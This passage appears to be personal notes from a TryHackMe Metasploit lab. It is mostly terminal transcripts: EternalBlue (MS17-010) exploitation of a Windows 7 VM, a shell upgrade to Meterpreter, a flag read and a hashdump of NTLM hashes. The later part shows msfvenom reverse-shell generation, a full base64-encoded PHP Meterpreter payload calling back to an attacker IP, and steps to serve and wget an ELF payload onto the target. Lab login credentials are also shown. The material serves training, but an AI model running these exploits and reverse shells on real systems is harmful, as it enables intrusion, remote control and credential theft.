5 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Interact with a module by name or index, for example use 5 or use exploit/windows/smb/smb_doublepulsar_rce
msf5 > use 2
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 generic/custom manual No Custom Payload
1 generic/shell_bind_tcp manual No Generic Command Shell, Bind TCP Inline
2 generic/shell_reverse_tcp manual No Generic Command Shell, Reverse TCP Inline
3 windows/x64/exec manual No Windows x64 Execute Command
4 windows/x64/loadlibrary manual No Windows x64 LoadLibrary Path
5 windows/x64/messagebox manual No Windows MessageBox x64
6 windows/x64/meterpreter/bind_ipv6_tcp manual No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 windows/x64/meterpreter/bind_ipv6_tcp_uuid manual No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 windows/x64/meterpreter/bind_named_pipe manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 windows/x64/meterpreter/bind_tcp manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 windows/x64/meterpreter/bind_tcp_rc4 manual No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 windows/x64/meterpreter/bind_tcp_uuid manual No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 windows/x64/meterpreter/reverse_http manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 windows/x64/meterpreter/reverse_https manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 windows/x64/meterpreter/reverse_named_pipe manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 windows/x64/meterpreter/reverse_tcp manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 windows/x64/meterpreter/reverse_tcp_rc4 manual No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 windows/x64/meterpreter/reverse_tcp_uuid manual No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
18 windows/x64/meterpreter/reverse_winhttp manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
19 windows/x64/meterpreter/reverse_winhttps manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
20 windows/x64/pingback_reverse_tcp manual No Windows x64 Pingback, Reverse TCP Inline
21 windows/x64/powershell_bind_tcp manual No Windows Interactive Powershell Session, Bind TCP
22 windows/x64/powershell_reverse_tcp manual No Windows Interactive Powershell Session, Reverse TCP
23 windows/x64/shell/bind_ipv6_tcp manual No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
24 windows/x64/shell/bind_ipv6_tcp_uuid manual No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
25 windows/x64/shell/bind_named_pipe manual No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
26 windows/x64/shell/bind_tcp manual No Windows x64 Command Shell, Windows x64 Bind TCP Stager
27 windows/x64/shell/bind_tcp_rc4 manual No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
28 windows/x64/shell/bind_tcp_uuid manual No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
29 windows/x64/shell/reverse_tcp manual No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
30 windows/x64/shell/reverse_tcp_rc4 manual No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
31 windows/x64/shell/reverse_tcp_uuid manual No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
32 windows/x64/shell_bind_tcp manual No Windows x64 Command Shell, Bind TCP Inline
33 windows/x64/shell_reverse_tcp manual No Windows x64 Command Shell, Reverse TCP Inline
34 windows/x64/vncinject/bind_ipv6_tcp manual No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
35 windows/x64/vncinject/bind_ipv6_tcp_uuid manual No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
36 windows/x64/vncinject/bind_named_pipe manual No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
37 windows/x64/vncinject/bind_tcp manual No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
38 windows/x64/vncinject/bind_tcp_rc4 manual No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
39 windows/x64/vncinject/bind_tcp_uuid manual No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
40 windows/x64/vncinject/reverse_http manual No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
41 windows/x64/vncinject/reverse_https manual No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
42 windows/x64/vncinject/reverse_tcp manual No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
43 windows/x64/vncinject/reverse_tcp_rc4 manual No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
44 windows/x64/vncinject/reverse_tcp_uuid manual No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
45 windows/x64/vncinject/reverse_winhttp manual No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
46 windows/x64/vncinject/reverse_winhttps manual No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload 2
payload => generic/shell_reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches exploit Target.
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.155.71 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
msf5 exploit(windows/smb/ms17_010_eternalblue) > set lhost
lhost => 10.10.155.71
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.88.122
rhosts => 10.10.88.122
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.10.155.71:4444
[*] 10.10.88.122:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.88.122:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.88.122:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.88.122:445 - Connecting to target for exploitation.
[+] 10.10.88.122:445 - Connection established for exploitation.
[+] 10.10.88.122:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.88.122:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.88.122:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.88.122:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.88.122:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.88.122:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.88.122:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.88.122:445 - Sending all but last fragment of exploit packet
[*] 10.10.88.122:445 - Starting non-paged pool grooming
[+] 10.10.88.122:445 - Sending SMBv2 buffers
[+] 10.10.88.122:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.88.122:445 - Sending final SMBv2 buffers.
[*] 10.10.88.122:445 - Sending last fragment of exploit packet!
[*] 10.10.88.122:445 - Receiving response from exploit packet
[+] 10.10.88.122:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.88.122:445 - Sending egg to corrupted connection.
[*] 10.10.88.122:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.10.155.71:4444 -> 10.10.88.122:49184) at 2022-08-24 17:06:47 +0000
[+] 10.10.88.122:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.88.122:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.88.122:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
C:\Windows\system32>^Z
Background session 1? [y/N] y
msf5 exploit(windows/smb/ms17_010_eternalblue) > search shell_to_meterpreter
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/multi/manage/shell_to_meterpreter normal No Shell to Meterpreter Upgrade
msf5 exploit(windows/smb/ms17_010_eternalblue) > use 0
msf5 post(multi/manage/shell_to_meterpreter) > options
Module options (post/multi/manage/shell_to_meterpreter):
Name Current Setting Required Description
---- --------------- -------- -----------
HANDLER true yes Start an exploit/multi/handler to receive the connection
LHOST no IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT 4433 yes Port for payload to connect to.
SESSION yes The session to run this module on.
msf5 post(multi/manage/shell_to_meterpreter) > set lhost 10.10.155.71
lhost => 10.10.155.71
msf5 post(multi/manage/shell_to_meterpreter) > show sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x64/windows Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation... 10.10.155.71:4444 -> 10.10.88.122:49184 (10.10.88.122)
msf5 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf5 post(multi/manage/shell_to_meterpreter) > exploit
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.155.71:4433
[*] Post module execution completed
msf5 post(multi/manage/shell_to_meterpreter) >
[*] Sending stage (176195 bytes) to 10.10.88.122
[*] Meterpreter session 2 opened (10.10.155.71:4433 -> 10.10.88.122:49192) at 2022-08-24 17:13:04 +0000
[*] Stopping exploit/multi/handler
msf5 post(multi/manage/shell_to_meterpreter) > show sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x64/windows Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation... 10.10.155.71:4444 -> 10.10.88.122:49184 (10.10.88.122)
2 meterpreter x86/windows NT AUTHORITY\SYSTEM @ JON-PC 10.10.155.71:4433 -> 10.10.88.122:49192 (10.10.88.122)
msf5 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...
meterpreter >
Exploit one of the critical vulnerabilities on the target VM No answer needed (The target is missing the MS17-010 patch. so eternalblue)
meterpreter > search -f flag.txt
Found 1 result...
c:\Users\Jon\Documents\flag.txt (15 bytes)
(go to cd users\jon\documents)
meterpreter > cat flag.txt
THM-5455554845
What is the content of the flag.txt file? (You can use Meterpreter's "search" command.) THM-5455554845
root@kali:~# msfconsole
Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018 es: 0018 ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)
Stack: 90909090990909090990909090
90909090990909090990909090
90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.09090900
90909090.90909090.09090900
..........................
cccccccccccccccccccccccccc
cccccccccccccccccccccccccc
ccccccccc.................
cccccccccccccccccccccccccc
cccccccccccccccccccccccccc
.................ccccccccc
cccccccccccccccccccccccccc
cccccccccccccccccccccccccc
..........................
ffffffffffffffffffffffffff
ffffffff..................
ffffffffffffffffffffffffff
ffffffff..................
ffffffff..................
ffffffff..................
Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing
=[ metasploit v5.0.101-dev ]
+ -- --=[ 2049 exploits - 1108 auxiliary - 344 post ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: Display the Framework log using the log command, learn more with help log
msf5 > search ms17
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/mssql/mssql_enum_domain_accounts normal No Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration
1 auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli normal No Microsoft SQL Server SQLi SUSER_SNAME Windows Domain Account Enumeration
2 auxiliary/admin/mssql/mssql_enum_sql_logins normal No Microsoft SQL Server SUSER_SNAME SQL Logins Enumeration
3 auxiliary/admin/mssql/mssql_escalate_execute_as normal No Microsoft SQL Server Escalate EXECUTE AS
4 auxiliary/admin/mssql/mssql_escalate_execute_as_sqli normal No Microsoft SQL Server SQLi Escalate Execute AS
5 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
6 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
7 exploit/windows/fileformat/office_ms17_11882 2017-11-15 manual No Microsoft Office CVE-2017-11882
8 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
9 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
10 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
11 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Interact with a module by name or index, for example use 11 or use exploit/windows/smb/smb_doublepulsar_rce
msf5 > use 8
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set lhost
lhost => 10.10.155.71
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
[-] Exploit failed: One or more options failed to validate: RHOSTS.
[*] Exploit completed, but no session was created.
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.88.122
rhosts => 10.10.88.122
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.10.155.71:4444
[*] 10.10.88.122:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.88.122:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.88.122:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.88.122:445 - Connecting to target for exploitation.
[+] 10.10.88.122:445 - Connection established for exploitation.
[+] 10.10.88.122:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.88.122:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.88.122:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.88.122:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.88.122:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.88.122:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.88.122:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.88.122:445 - Sending all but last fragment of exploit packet
[*] 10.10.88.122:445 - Starting non-paged pool grooming
[+] 10.10.88.122:445 - Sending SMBv2 buffers
[+] 10.10.88.122:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.88.122:445 - Sending final SMBv2 buffers.
[*] 10.10.88.122:445 - Sending last fragment of exploit packet!
[*] 10.10.88.122:445 - Receiving response from exploit packet
[+] 10.10.88.122:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.88.122:445 - Sending egg to corrupted connection.
[*] 10.10.88.122:445 - Triggering free of corrupted buffer.
[*] Sending stage (201283 bytes) to 10.10.88.122
[*] Meterpreter session 1 opened (10.10.155.71:4444 -> 10.10.88.122:49216) at 2022-08-24 17:33:23 +0000
[+] 10.10.88.122:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.88.122:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.88.122:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > pwd
C:\Windows\system32
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
pirate:1001:aad3b435b51404eeaad3b435b51404ee:8ce9a3ebd1647fcc5e04025019f4b875:::
What is the NTLM hash of the password of the user "pirate"? (Use hashdump) 8ce9a3ebd1647fcc5e04025019f4b875
Msfvenom
Msfvenom, which replaced Msfpayload and Msfencode, allows you to generate payloads.
Msfvenom will allow you to access all payloads available in the Metasploit framework. Msfvenom allows you to create payloads in many different formats (PHP, exe, dll, elf, etc.) and for many different target systems (Apple, Windows, Android, Linux, etc.). Msfvenom payloads
root@ip-10-10-186-44:~# msfvenom -l payloads
Framework Payloads (562 total) [--payload ]
Name Description
---- -----------
aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
aix/ppc/shell_find_port Spawn a shell on an established connection
aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP
android/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPS
android/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager
android/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell
android/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell
android/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell
android/shell/reverse_http Spawn a piped command shell (sh). Tunnel communication over HTTP
android/shell/reverse_https Spawn a piped command shell (sh). Tunnel communication over HTTPS
android/shell/reverse_tcp Spawn a piped command shell (sh). Connect back stager
apple_ios/aarch64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/shell_reverse_tcp Connect back to attacker and spawn a command shell
apple_ios/armle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
Output formats
You can either generate stand-alone payloads (e.g. a Windows executable for Meterpreter) or get a usable raw format (e.g. python). Themsfvenom --list formats command can be used to list supported output formats
Encoders
Contrary to some beliefs, encoders do not aim to bypass antivirus installed on the target system. As the name suggests, they encode the payload. While it can be effective against some antivirus software, using modern obfuscation techniques or learning methods to inject shellcode is a better solution to the problem. The example below shows the usage of encoding (with the -e parameter. The PHP version of Meterpreter was encoded in Base64, and the output format was raw. Generating a PHP payload
root@ip-10-10-186-44:# msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 1507 (iteration=0)
php/base64 chosen with final size 1507
Payload size: 1507 bytes
eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzEwLjEwLjE4Ni40NCc7ICRwb3J0ID0gNDQ0NDsgaWYgKCgkZiA9ICdzdHJlYW1fc29ja2V0X2NsaWVudCcpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCJ0Y3A6Ly97JGlwfTp7JHBvcnR9Iik7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdmc29ja29wZW4nKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigkaXAsICRwb3J0KTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ3NvY2tldF9jcmVhdGUnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZihBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7ICRyZXMgPSBAc29ja2V0X2Nvbm5lY3QoJHMsICRpcCwgJHBvcnQpOyBpZiAoISRyZXMpIHsgZGllKCk7IH0gJHNfdHlwZSA9ICdzb2NrZXQnOyB9IGlmICghJHNfdHlwZSkgeyBkaWUoJ25vIHNvY2tldCBmdW5jcycpOyB9IGlmICghJHMpIHsgZGllKCdubyBzb2NrZXQnKTsgfSBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGxlbiA9IGZyZWFkKCRzLCA0KTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkcywgNCk7IGJyZWFrOyB9IGlmICghJGxlbikgeyBkaWUoKTsgfSAkYSA9IHVucGFjaygi.TmxlbiIsICRsZW4pOyAkbGVuID0gJGFbJ2xlbiddOyAkYiA9ICcnOyB3aGlsZSAoc3RybGVuKCRiKSA8ICRsZW4pIHsgc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRiIC49IGZyZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGIgLj0gc29ja2V0X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyB9IH0gJEdMT0JBTFNbJ21zZ3NvY2snXSA9ICRzOyAkR0xPQkFMU1snbXNnc29ja190eXBlJ10gPSAkc190eXBlOyBpZiAoZXh0ZW5zaW9uX2xvYWRlZCgnc3Vob3NpbicpICYmIGluaV9nZXQoJ3N1aG9zaW4uZXhlY3V0b3IuZGlzYWJsZV9ldmFsJykpIHsgJHN1aG9zaW5fYnlwYXNzPWNyZWF0ZV9mdW5jdGlvbignJywgJGIpOyAkc3Vob3Npbl9ieXBhc3MoKTsgfSBlbHNlIHsgZXZhbCgkYik7IH0gZGllKCk7));
root@ip-10-10-186-44:#
Handlers
Similar to exploits using a reverse shell, you will need to be able to accept incoming connections generated by the MSFvenom payload. When using an exploit module, this part is automatically handled by the exploit module, you will remember how the payload options title appeared when setting a reverse shell. The term commonly used to receive a connection from a target is 'catching a shell'. Reverse shells or Meterpreter callbacks generated in your MSFvenom payload can be easily caught using a handler.
The following scenario may be familiar; we will exploit the file upload vulnerability present in DVWA (Damn Vulnerable Web Application). For the exercises in this task, you will need to replicate a similar scenario on another target system, DVWA was used here for illustration purposes. The exploit steps are;
Generate the PHP shell using MSFvenom
Start the Metasploit handler
Execute the PHP shell
MSFvenom will require a payload, the local machine IP address, and the local port to which the payload will connect. Seen below, 10.0.2.19 is the IP address of a Kali Linux machine used in the attack and local port 7777 was chosen. Generating a PHP reverse shell
root@ip-10-0-2-19:# msfvenom -p php/reverse_php LHOST=10.0.2.19 LPORT=7777 -f raw > reverse_shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 3020 bytes
root@ip-10-0-2-19:#
Please note: The output PHP file will miss the starting PHP tag commented and the end tag (?>), as seen below.

The reverse_shell.php file should be edited to convert it into a working PHP file.
Below: Comments removed from the beginning of the file.

Below: End tag added

We will use Multi Handler to receive the incoming connection. The module can be used with the use exploit/multi/handler command.
Multi handler supports all Metasploit payloads and can be used for Meterpreter as well as regular shells.
To use the module, we will need to set the payload value (php/reverse_php in this case), the LHOST, and LPORT values. Setting up the listener
msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf5 exploit(multi/handler) > set payload php/reverse_php payload => php/reverse_php msf5 exploit(multi/handler) > set lhost 10.0.2.19 lhost => 10.0.2.19 msf6 exploit(multi/handler) > set lport 7777 lport => 7777 msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
Payload options (php/reverse_php):
Name Current Setting Required Description
LHOST 10.0.2.19 yes The listen address (an interface may be specified) LPORT 7777 yes The listen port
Exploit target:
Id Name
0 Wildcard Target
msf6 exploit(multi/handler) >
Once everything is set, we will run the handler and wait for the incoming connection. Waiting for the reverse shell
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.186.44:7777
When the reverse shell is triggered, the connection will be received by multi/handler and provide us with a shell.
If the payload was set as Meterpreter (e.g. in a Windows executable format), multi/handler would then provide us with a Meterpreter shell.
Other Payloads
Based on the target system's configuration (operating system, install webserver, installed interpreter, etc.), msfvenom can be used to create payloads in almost all formats. Below are a few examples you will often use:
In all these examples, LHOST will be the IP address of your attacking machine, and LPORT will be the port on which your handler will listen.
Linux Executable and Linkable Format (elf) msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf The .elf format is comparable to the .exe format in Windows. These are executable files for Linux. However, you may still need to make sure they have executable permissions on the target machine. For example, once you have the shell.elf file on your target machine, use the chmod +x shell.elf command to accord executable permissions. Once done, you can run this file by typing ./shell.elf on the target machine command line.
Windows msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
PHP msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
ASP msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp
Python msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py
All of the examples above are reverse payloads. This means you will need to have the exploit/multi/handler module listening on your attacking machine to work as a handler. You will need to set up the handler accordingly with the payload, LHOST and LPORT parameters. These values will be the same you have used when creating the msfvenom payload.
Launch the VM attached to this task. The username is murphy, and the password is 1q2w3e4r. You can connect via SSH or launch this machine in the browser. Once on the terminal, type "sudo su" to get a root shell, this will make things easier. No answer needed
Create a meterpreter payload in the .elf format (on the AttackBox, or your attacking machine of choice). No answer needed
Transfer it to the target machine (you can start a Python web server on your attacking machine with the python3 -m http.server 9000 command and use wget http://ATTACKING_10.10.89.18:9000/shell.elf to download it to the target machine). No answer needed
Get a meterpreter session on the target machine. No answer needed
Use a post exploitation module to dump hashes of other users on the system. No answer needed
┌──(kali㉿kali)-[~/Downloads/learning_metasploit]
└─$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.11.81.220 LPORT=4444 -f elf > rev_shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
┌──(kali㉿kali)-[~/Downloads/learning_metasploit]
└─$ ls
MetasploitWordlist.txt rev_shell.elf
┌──(kali㉿kali)-[~/Downloads/learning_metasploit]
└─$ python3 -m http.server (to pass the payload generated to murphy)
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.89.18 - - [24/Aug/2022 13:59:40] "GET /rev_shell.elf HTTP/1.1" 200 -
10.10.89.18 - - [24/Aug/2022 14:01:17] "GET /rev_shell.elf HTTP/1.1" 200 -
10.10.89.18 - - [24/Aug/2022 14:01:47] "GET /rev_shell.elf HTTP/1.1" 200 -
10.10.89.18 - - [24/Aug/2022 14:04:35] "GET /rev_shell.elf HTTP/1.1" 200 -
^C
$ wget http://10.11.81.220:8000/rev_shell.elf --2022-08-24 18:01:47-- http://10.11.81.220:8000/rev_shell.elf Connecting to 10.11.81.220:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 207 [application/octet-stream] rev_shell.elf: Permission denied
